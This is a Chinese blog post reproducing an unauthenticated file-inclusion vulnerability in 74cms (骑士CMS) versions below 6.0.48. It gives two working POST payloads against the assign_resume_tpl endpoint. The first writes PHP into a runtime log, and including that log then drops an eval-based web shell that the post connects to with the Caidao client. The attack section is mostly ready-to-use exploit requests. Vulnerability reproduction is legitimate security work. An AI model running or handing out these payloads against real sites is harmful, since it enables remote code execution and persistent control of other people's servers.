zoukankan      html  css  js  c++  java
  • 骑士CMS文件包含+getshell

    骑士CMS文件包含+getshell漏洞复现

    0x00简单介绍

           骑士cms人才系统,是一项基于php+mysql为核心的开源人才网站系统。

    0x01漏洞概述

      骑士cms官方发布安全更新,修复了一处远程代码执行漏洞。由于骑士cms某些函数过滤不严谨,攻击者通过构造恶意请求可以在无需登录情况下执行代码控制服务器。

    0x02影响版本

      骑士cms <6.0.48

    0x03环境搭建

      这里复现使用的是6.0.20(骑士cms不支持php7.0),下载完成后访问安装即可

    0x04漏洞复现

      1、注入模板

    发送poc:
            http://127.0.0.1/74cms/upload/index.php?m=home&a=assign_resume_tpl
            POST:
            variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

    根据报错查看日志:

           路径为WWW74cmsuploaddataRuntimeLogsHome

       2、文件包含

    发送poc:
            http://127.0.0.1/74cms/upload/index.php?m=home&a=assign_resume_tpl
            POST:
            variable=1&tpl=data/Runtime/Logs/Home/20_12_15.log(日志文件名为日期)

    成功写下shell

    菜刀链接

    0x05参考链接

    https://mp.weixin.qq.com/s/4-36O4OaWxu2jX2pzb5_Wg

    https://blog.csdn.net/weixin_44508748/article/details/111187529

  • 相关阅读:
    大型网站应用中MySQL的架构演变史
    SRM 585 DIV2
    TC 配置插件
    Java中含有静态成员的的初始化顺序
    java 23种设计模式,一般情况下,常用的有哪些? 转载
    Java中的正则表达式
    C++ 中的关于输出的设置于
    C++实现可变参数列表
    Java中的组合与聚合
    pku 2284 That Nice Euler Circuit
  • 原文地址:https://www.cnblogs.com/twlr/p/14142870.html
Copyright © 2011-2022 走看看